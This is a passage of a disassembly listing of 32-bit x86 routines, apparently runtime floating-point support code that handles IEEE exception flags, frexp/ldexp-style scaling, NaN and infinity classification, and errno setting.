		shr	eax, 2
		and	eax, 1
		test	eax, eax
		jz	short loc_4267D6
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 0FFFFFFF7h
		mov	eax, [ebp+arg_4]
		mov	[eax], edx


loc_4267D6:				; CODE XREF: sub_426420+3A7j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 1
		and	edx, 1
		test	edx, edx
		jz	short loc_4267F2
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEFh
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx


loc_4267F2:				; CODE XREF: sub_426420+3C3j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42680B
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	al, 0DFh
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_42680B:				; CODE XREF: sub_426420+3DDj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		and	eax, 3
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 3
		ja	short loc_426869
		mov	ecx, [ebp+var_14]
		jmp	off_4268D1[ecx*4]


loc_426826:				; DATA XREF: .nsp0:004268DDo
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 0Ch
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_426869
; ---------------------------------------------------------------------------


loc_426838:				; CODE XREF: sub_426420+3FFj
					; DATA XREF: .nsp0:004268D9o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 8
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_426869
; ---------------------------------------------------------------------------


loc_42684A:				; CODE XREF: sub_426420+3FFj
					; DATA XREF: .nsp0:004268D5o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 4
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_426869
; ---------------------------------------------------------------------------


loc_42685C:				; CODE XREF: sub_426420+3FFj
					; DATA XREF: .nsp0:off_4268D1o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_426869:				; CODE XREF: sub_426420+3FAj
					; sub_426420+416j ...
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		shr	eax, 2
		and	eax, 7
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_42688B
		cmp	[ebp+var_18], 1
		jz	short loc_42689D
		cmp	[ebp+var_18], 2
		jz	short loc_4268AF
		jmp	short loc_4268BC
; ---------------------------------------------------------------------------


loc_42688B:				; CODE XREF: sub_426420+45Bj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		or	dh, 3
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		jmp	short loc_4268BC
; ---------------------------------------------------------------------------


loc_42689D:				; CODE XREF: sub_426420+461j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		or	dh, 2
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		jmp	short loc_4268BC
; ---------------------------------------------------------------------------


loc_4268AF:				; CODE XREF: sub_426420+467j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		mov	eax, [ebp+arg_4]
		mov	[eax], edx


loc_4268BC:				; CODE XREF: sub_426420+469j
					; sub_426420+47Bj ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_14]
		mov	eax, [ecx+40h]
		mov	[edx], eax
		mov	ecx, [ecx+44h]
		mov	[edx+4], ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_426420	endp

; ---------------------------------------------------------------------------
off_4268D1	dd offset loc_42685C	; DATA XREF: sub_426420+3FFr
		dd offset loc_42684A
		dd offset loc_426838
		dd offset loc_426826
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268F0	proc near		; CODE XREF: sub_426290+12p
					; .nsp0:00426362p

var_44		= dword	ptr -44h
var_40		= qword	ptr -40h
var_38		= qword	ptr -38h
var_30		= qword	ptr -30h
var_28		= qword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42692A
		mov	edx, [ebp+arg_8]
		and	edx, 1
		test	edx, edx
		jz	short loc_42692A
		push	1
		call	sub_427140
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	al, 0F7h
		mov	[ebp+var_4], eax
		jmp	loc_426C2E
; ---------------------------------------------------------------------------


loc_42692A:				; CODE XREF: sub_4268F0+17j
					; sub_4268F0+21j
		mov	ecx, [ebp+arg_0]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_426955
		mov	edx, [ebp+arg_8]
		and	edx, 4
		test	edx, edx
		jz	short loc_426955
		push	4
		call	sub_427140
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	al, 0FBh
		mov	[ebp+var_4], eax
		jmp	loc_426C2E
; ---------------------------------------------------------------------------


loc_426955:				; CODE XREF: sub_4268F0+42j
					; sub_4268F0+4Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_426AD1
		mov	edx, [ebp+arg_8]
		and	edx, 8
		test	edx, edx
		jz	loc_426AD1
		push	8
		call	sub_427140
		add	esp, 4
		mov	eax, [ebp+arg_8]
		and	eax, 0C00h
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 800h
		ja	short loc_4269B0
		cmp	[ebp+var_20], 800h
		jz	short loc_426A05
		cmp	[ebp+var_20], 0
		jz	short loc_4269C2
		cmp	[ebp+var_20], 400h
		jz	loc_426A45
		jmp	loc_426AC3
; ---------------------------------------------------------------------------


loc_4269B0:				; CODE XREF: sub_4268F0+9Dj
		cmp	[ebp+var_20], 0C00h
		jz	loc_426A85
		jmp	loc_426AC3
; ---------------------------------------------------------------------------


loc_4269C2:				; CODE XREF: sub_4268F0+ACj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_438198
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_4269E7
		mov	edx, dword ptr dbl_451A08
		mov	dword ptr [ebp+var_28],	edx
		mov	eax, dword ptr dbl_451A08+4
		mov	dword ptr [ebp+var_28+4], eax
		jmp	short loc_4269F2
; ---------------------------------------------------------------------------


loc_4269E7:				; CODE XREF: sub_4268F0+E2j
		fld	dbl_451A08
		fchs
		fstp	[ebp+var_28]


loc_4269F2:				; CODE XREF: sub_4268F0+F5j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_28]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_28+4]
		mov	[ecx+4], eax
		jmp	loc_426AC3
; ---------------------------------------------------------------------------


loc_426A05:				; CODE XREF: sub_4268F0+A6j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_438198
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_426A2A
		mov	edx, dword ptr dbl_451A08
		mov	dword ptr [ebp+var_30],	edx
		mov	eax, dword ptr dbl_451A08+4
		mov	dword ptr [ebp+var_30+4], eax
		jmp	short loc_426A35
; ---------------------------------------------------------------------------


loc_426A2A:				; CODE XREF: sub_4268F0+125j
		fld	dbl_451A18
		fchs
		fstp	[ebp+var_30]


loc_426A35:				; CODE XREF: sub_4268F0+138j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_30]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_30+4]
		mov	[ecx+4], eax
		jmp	short loc_426AC3
; ---------------------------------------------------------------------------


loc_426A45:				; CODE XREF: sub_4268F0+B5j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_438198
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_426A6A
		mov	edx, dword ptr dbl_451A18
		mov	dword ptr [ebp+var_38],	edx
		mov	eax, dword ptr dbl_451A18+4
		mov	dword ptr [ebp+var_38+4], eax
		jmp	short loc_426A75
; ---------------------------------------------------------------------------


loc_426A6A:				; CODE XREF: sub_4268F0+165j
		fld	dbl_451A08
		fchs
		fstp	[ebp+var_38]


loc_426A75:				; CODE XREF: sub_4268F0+178j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_38]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_38+4]
		mov	[ecx+4], eax
		jmp	short loc_426AC3
; ---------------------------------------------------------------------------


loc_426A85:				; CODE XREF: sub_4268F0+C7j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_438198
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_426AAA
		mov	edx, dword ptr dbl_451A18
		mov	dword ptr [ebp+var_40],	edx
		mov	eax, dword ptr dbl_451A18+4
		mov	dword ptr [ebp+var_40+4], eax
		jmp	short loc_426AB5
; ---------------------------------------------------------------------------


loc_426AAA:				; CODE XREF: sub_4268F0+1A5j
		fld	dbl_451A18
		fchs
		fstp	[ebp+var_40]


loc_426AB5:				; CODE XREF: sub_4268F0+1B8j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_40]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_40+4]
		mov	[ecx+4], eax


loc_426AC3:				; CODE XREF: sub_4268F0+BBj
					; sub_4268F0+CDj ...
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFFFFEh
		mov	[ebp+var_4], ecx
		jmp	loc_426C2E
; ---------------------------------------------------------------------------


loc_426AD1:				; CODE XREF: sub_4268F0+6Dj
					; sub_4268F0+7Bj
		mov	edx, [ebp+arg_0]
		and	edx, 2
		test	edx, edx
		jz	loc_426C2E
		mov	eax, [ebp+arg_8]
		and	eax, 10h
		test	eax, eax
		jz	loc_426C2E
		mov	[ebp+var_8], 0
		mov	ecx, [ebp+arg_0]
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_426B05
		mov	[ebp+var_8], 1


loc_426B05:				; CODE XREF: sub_4268F0+20Cj
		mov	edx, [ebp+arg_4]
		fld	qword ptr [edx]
		fcomp	dbl_438198
		fnstsw	ax
		test	ah, 40h
		jnz	loc_426C0E
		lea	eax, [ebp+var_18]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		push	edx
		mov	eax, [ecx]
		push	eax		; double
		call	sub_426F80
		add	esp, 0Ch
		fstp	[ebp+var_10]
		mov	ecx, [ebp+var_18]
		sub	ecx, 600h
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 0FFFFFBCEh
		jge	short loc_426B61
		fld	[ebp+var_10]
		fmul	dbl_438198
		fstp	[ebp+var_10]
		mov	[ebp+var_8], 1
		jmp	loc_426BFE
; ---------------------------------------------------------------------------


loc_426B61:				; CODE XREF: sub_4268F0+257j
		fld	[ebp+var_10]
		fcomp	dbl_438198
		fnstsw	ax
		test	ah, 1
		jz	short loc_426B7A
		mov	[ebp+var_44], 1
		jmp	short loc_426B81
; ---------------------------------------------------------------------------


loc_426B7A:				; CODE XREF: sub_4268F0+27Fj
		mov	[ebp+var_44], 0


loc_426B81:				; CODE XREF: sub_4268F0+288j
		mov	edx, [ebp+var_44]
		mov	[ebp+var_1C], edx
		mov	ax, word ptr [ebp+var_10+6]
		and	ax, 0Fh
		mov	word ptr [ebp+var_10+6], ax
		mov	cx, word ptr [ebp+var_10+6]
		or	cl, 10h
		mov	word ptr [ebp+var_10+6], cx
		jmp	short loc_426BA9
; ---------------------------------------------------------------------------


loc_426BA0:				; CODE XREF: sub_4268F0+2FEj
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx


loc_426BA9:				; CODE XREF: sub_4268F0+2AEj
		cmp	[ebp+var_14], 0FFFFFC03h
		jge	short loc_426BF0
		mov	eax, dword ptr [ebp+var_10]
		and	eax, 1
		test	eax, eax
		jz	short loc_426BC9
		cmp	[ebp+var_8], 0
		jnz	short loc_426BC9
		mov	[ebp+var_8], 1


loc_426BC9:				; CODE XREF: sub_4268F0+2CAj
					; sub_4268F0+2D0j
		mov	ecx, dword ptr [ebp+var_10]
		shr	ecx, 1
		mov	dword ptr [ebp+var_10],	ecx
		mov	edx, dword ptr [ebp+var_10+4]
		and	edx, 1
		test	edx, edx
		jz	short loc_426BE6
		mov	eax, dword ptr [ebp+var_10]
		or	eax, 80000000h
		mov	dword ptr [ebp+var_10],	eax


loc_426BE6:				; CODE XREF: sub_4268F0+2E9j
		mov	ecx, dword ptr [ebp+var_10+4]
		shr	ecx, 1
		mov	dword ptr [ebp+var_10+4], ecx
		jmp	short loc_426BA0
; ---------------------------------------------------------------------------


loc_426BF0:				; CODE XREF: sub_4268F0+2C0j
		cmp	[ebp+var_1C], 0
		jz	short loc_426BFE
		fld	[ebp+var_10]
		fchs
		fstp	[ebp+var_10]


loc_426BFE:				; CODE XREF: sub_4268F0+26Cj
					; sub_4268F0+304j
		mov	edx, [ebp+arg_4]
		mov	eax, dword ptr [ebp+var_10]
		mov	[edx], eax
		mov	ecx, dword ptr [ebp+var_10+4]
		mov	[edx+4], ecx
		jmp	short loc_426C15
; ---------------------------------------------------------------------------


loc_426C0E:				; CODE XREF: sub_4268F0+225j
		mov	[ebp+var_8], 1


loc_426C15:				; CODE XREF: sub_4268F0+31Cj
		cmp	[ebp+var_8], 0
		jz	short loc_426C25
		push	10h
		call	sub_427140
		add	esp, 4


loc_426C25:				; CODE XREF: sub_4268F0+329j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFFDh
		mov	[ebp+var_4], edx


loc_426C2E:				; CODE XREF: sub_4268F0+35j
					; sub_4268F0+60j ...
		mov	eax, [ebp+arg_0]
		and	eax, 10h
		test	eax, eax
		jz	short loc_426C55
		mov	ecx, [ebp+arg_8]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_426C55
		push	20h
		call	sub_427140
		add	esp, 4
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFEFh
		mov	[ebp+var_4], edx


loc_426C55:				; CODE XREF: sub_4268F0+346j
					; sub_4268F0+350j
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setz	al
		mov	esp, ebp
		pop	ebp
		retn
sub_4268F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_426C70(int,int,int,int,int,int,double,int)

sub_426C70	proc near		; CODE XREF: sub_4261C0+2Ap
					; .nsp0:0042625Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_426D50
		add	esp, 4
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_426CE7
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_14]
		mov	[ebp+var_C], edx
		mov	eax, dword ptr [ebp+arg_18]
		mov	dword ptr [ebp+var_8], eax
		mov	ecx, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], ecx
		push	0FFFFh
		mov	edx, [ebp+arg_20]
		push	edx
		call	sub_427100
		add	esp, 8
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42CE40
		add	esp, 4
		test	eax, eax
		jnz	short loc_426CE2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_426D10
		add	esp, 4


loc_426CE2:				; CODE XREF: sub_426C70+64j
		fld	[ebp+var_8]
		jmp	short loc_426D07
; ---------------------------------------------------------------------------


loc_426CE7:				; CODE XREF: sub_426C70+19j
		push	0FFFFh
		mov	edx, [ebp+arg_20]
		push	edx
		call	sub_427100
		add	esp, 8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_426D10
		add	esp, 4
		fld	[ebp+arg_18]


loc_426D07:				; CODE XREF: sub_426C70+75j
		mov	esp, ebp
		pop	ebp
		retn
sub_426C70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426D10	proc near		; CODE XREF: sub_426290+92p
					; .nsp0:004263FEp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 1
		jz	short loc_426D2E
		cmp	[ebp+var_4], 1
		jle	short loc_426D46
		cmp	[ebp+var_4], 3
		jle	short loc_426D3B
		jmp	short loc_426D46
; ---------------------------------------------------------------------------


loc_426D2E:				; CODE XREF: sub_426D10+Ej
		call	sub_4248A0
		mov	dword ptr [eax], 21h
		jmp	short loc_426D46
; ---------------------------------------------------------------------------


loc_426D3B:				; CODE XREF: sub_426D10+1Aj
		call	sub_4248A0
		mov	dword ptr [eax], 22h


loc_426D46:				; CODE XREF: sub_426D10+14j
					; sub_426D10+1Cj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_426D10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426D50	proc near		; CODE XREF: sub_426C70+Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_426D66
; ---------------------------------------------------------------------------


loc_426D5D:				; CODE XREF: sub_426D50:loc_426D87j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_426D66:				; CODE XREF: sub_426D50+Bj
		cmp	[ebp+var_4], 1Bh
		jge	short loc_426D89
		mov	ecx, [ebp+var_4]
		mov	edx, dword_451930[ecx*8]
		cmp	edx, [ebp+arg_0]
		jnz	short loc_426D87
		mov	eax, [ebp+var_4]
		mov	eax, off_451934[eax*8]
		jmp	short loc_426D8B
; ---------------------------------------------------------------------------


loc_426D87:				; CODE XREF: sub_426D50+29j
		jmp	short loc_426D5D
; ---------------------------------------------------------------------------


loc_426D89:				; CODE XREF: sub_426D50+1Aj
		xor	eax, eax


loc_426D8B:				; CODE XREF: sub_426D50+35j
		mov	esp, ebp
		pop	ebp
		retn
sub_426D50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426D90	proc near		; CODE XREF: sub_426290+4Ap
					; .nsp0:004263B2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	eax, 20h
		test	eax, eax
		jz	short loc_426DA7
		mov	[ebp+var_4], 5
		jmp	short loc_426DFA
; ---------------------------------------------------------------------------


loc_426DA7:				; CODE XREF: sub_426D90+Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_426DBA
		mov	[ebp+var_4], 1
		jmp	short loc_426DFA
; ---------------------------------------------------------------------------


loc_426DBA:				; CODE XREF: sub_426D90+1Fj
		mov	edx, [ebp+arg_0]
		and	edx, 4
		test	edx, edx
		jz	short loc_426DCD
		mov	[ebp+var_4], 2
		jmp	short loc_426DFA
; ---------------------------------------------------------------------------


loc_426DCD:				; CODE XREF: sub_426D90+32j
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_426DE0
		mov	[ebp+var_4], 3
		jmp	short loc_426DFA
; ---------------------------------------------------------------------------


loc_426DE0:				; CODE XREF: sub_426D90+45j
		mov	ecx, [ebp+arg_0]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_426DF3
		mov	[ebp+var_4], 4
		jmp	short loc_426DFA
; ---------------------------------------------------------------------------


loc_426DF3:				; CODE XREF: sub_426D90+58j
		mov	[ebp+var_4], 0


loc_426DFA:				; CODE XREF: sub_426D90+15j
					; sub_426D90+28j ...
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_426D90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426E10	proc near		; CODE XREF: .nsp0:00426EA9p
					; sub_426F80+ECp ...

var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	dword ptr [ebp+var_C], eax
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ebp+var_C+4], ecx
		mov	edx, [ebp+arg_8]
		add	edx, 3FEh
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_4+2]
		and	eax, 0FFFFh
		and	eax, 800Fh
		mov	ecx, [ebp+var_4]
		shl	ecx, 4
		or	eax, ecx
		mov	word ptr [ebp+var_C+6],	ax
		fld	[ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_426E10	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+0Eh]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		mov	[ebp-4], ax
		mov	cx, [ebp-4]
		sub	cx, 3FEh
		mov	[ebp-4], cx
		movsx	eax, word ptr [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Eh]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		movsx	ecx, ax
		mov	edx, [ebp+10h]
		lea	eax, [ecx+edx-3FEh]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_426E10
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+8]
		mov	[ebp-8], eax
		mov	ecx, [ebp+0Ch]
		mov	[ebp-4], ecx
		mov	edx, [ebp+0Eh]
		and	edx, 0FFFFh
		and	edx, 800Fh
		mov	eax, [ebp+10h]
		shl	eax, 4
		or	edx, eax
		mov	[ebp-2], dx
		fld	qword ptr [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426F00	proc near		; CODE XREF: sub_41CCD0+3Fp
					; sub_41CEF0+3Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_426F19
		cmp	[ebp+arg_0], 0
		jnz	short loc_426F19
		mov	eax, 1
		jmp	short loc_426F7A
; ---------------------------------------------------------------------------


loc_426F19:				; CODE XREF: sub_426F00+Aj
					; sub_426F00+10j
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_426F2F
		cmp	[ebp+arg_0], 0
		jnz	short loc_426F2F
		mov	eax, 2
		jmp	short loc_426F7A
; ---------------------------------------------------------------------------


loc_426F2F:				; CODE XREF: sub_426F00+20j
					; sub_426F00+26j
		mov	eax, [ebp+arg_4+2]
		and	eax, 0FFFFh
		and	eax, 7FF8h
		cmp	eax, 7FF8h
		jnz	short loc_426F4A
		mov	eax, 3
		jmp	short loc_426F7A
; ---------------------------------------------------------------------------


loc_426F4A:				; CODE XREF: sub_426F00+41j
		mov	ecx, [ebp+arg_4+2]
		and	ecx, 0FFFFh
		and	ecx, 7FF8h
		cmp	ecx, 7FF0h
		jnz	short loc_426F78
		mov	edx, [ebp+arg_4]
		shl	edx, 0Dh
		test	edx, edx
		jnz	short loc_426F71
		cmp	[ebp+arg_0], 0
		jz	short loc_426F78


loc_426F71:				; CODE XREF: sub_426F00+69j
		mov	eax, 4
		jmp	short loc_426F7A
; ---------------------------------------------------------------------------


loc_426F78:				; CODE XREF: sub_426F00+5Fj
					; sub_426F00+6Fj
		xor	eax, eax


loc_426F7A:				; CODE XREF: sub_426F00+17j
					; sub_426F00+2Dj ...
		pop	ebp
		retn
sub_426F00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_426F80(double,int)

sub_426F80	proc near		; CODE XREF: sub_4268F0+239p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		fld	[ebp+arg_0]
		fcomp	dbl_438198
		fnstsw	ax
		test	ah, 40h
		jz	short loc_426FB0
		mov	dword ptr [ebp+var_C], 0
		mov	dword ptr [ebp+var_C+4], 0
		mov	[ebp+var_4], 0
		jmp	loc_4270AA
; ---------------------------------------------------------------------------


loc_426FB0:				; CODE XREF: sub_426F80+14j
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		test	eax, eax
		jnz	loc_427079
		mov	ecx, dword ptr [ebp+arg_0+4]
		shl	ecx, 0Ch
		test	ecx, ecx
		jnz	short loc_426FD9
		cmp	dword ptr [ebp+arg_0], 0
		jz	loc_427079


loc_426FD9:				; CODE XREF: sub_426F80+4Dj
		mov	[ebp+var_4], 0FFFFFC03h
		fld	[ebp+arg_0]
		fcomp	dbl_438198
		fnstsw	ax
		test	ah, 1
		jz	short loc_426FF9
		mov	[ebp+var_14], 1
		jmp	short loc_427000
; ---------------------------------------------------------------------------


loc_426FF9:				; CODE XREF: sub_426F80+6Ej
		mov	[ebp+var_14], 0


loc_427000:				; CODE XREF: sub_426F80+77j
		mov	edx, [ebp+var_14]
		mov	[ebp+var_10], edx


loc_427006:				; CODE XREF: sub_426F80+C3j
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jnz	short loc_427045
		mov	ecx, dword ptr [ebp+arg_0+4]
		shl	ecx, 1
		mov	dword ptr [ebp+arg_0+4], ecx
		mov	edx, dword ptr [ebp+arg_0]
		and	edx, 80000000h
		test	edx, edx
		jz	short loc_427032
		mov	eax, dword ptr [ebp+arg_0+4]
		or	al, 1
		mov	dword ptr [ebp+arg_0+4], eax


loc_427032:				; CODE XREF: sub_426F80+A8j
		mov	ecx, dword ptr [ebp+arg_0]
		shl	ecx, 1
		mov	dword ptr [ebp+arg_0], ecx
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_427006
; ---------------------------------------------------------------------------


loc_427045:				; CODE XREF: sub_426F80+93j
		mov	ax, word ptr [ebp+arg_0+6]
		and	ax, 0FFEFh
		mov	word ptr [ebp+arg_0+6],	ax
		cmp	[ebp+var_10], 0
		jz	short loc_427062
		mov	cx, word ptr [ebp+arg_0+6]
		or	ch, 80h
		mov	word ptr [ebp+arg_0+6],	cx


loc_427062:				; CODE XREF: sub_426F80+D5j
		push	0
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_426E10
		add	esp, 0Ch
		fstp	[ebp+var_C]
		jmp	short loc_4270AA
; ---------------------------------------------------------------------------


loc_427079:				; CODE XREF: sub_426F80+3Fj
					; sub_426F80+53j
		push	0
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx
		mov	edx, dword ptr [ebp+arg_0]
		push	edx
		call	sub_426E10
		add	esp, 0Ch
		fstp	[ebp+var_C]
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		movsx	ecx, ax
		sub	ecx, 3FEh
		mov	[ebp+var_4], ecx


loc_4270AA:				; CODE XREF: sub_426F80+2Bj
					; sub_426F80+F7j
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		fld	[ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_426F80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4270C0	proc near		; CODE XREF: sub_426420+171p

var_4		= word ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fstsw	[ebp+var_4]
		movsx	eax, [ebp+var_4]
		pop	edi
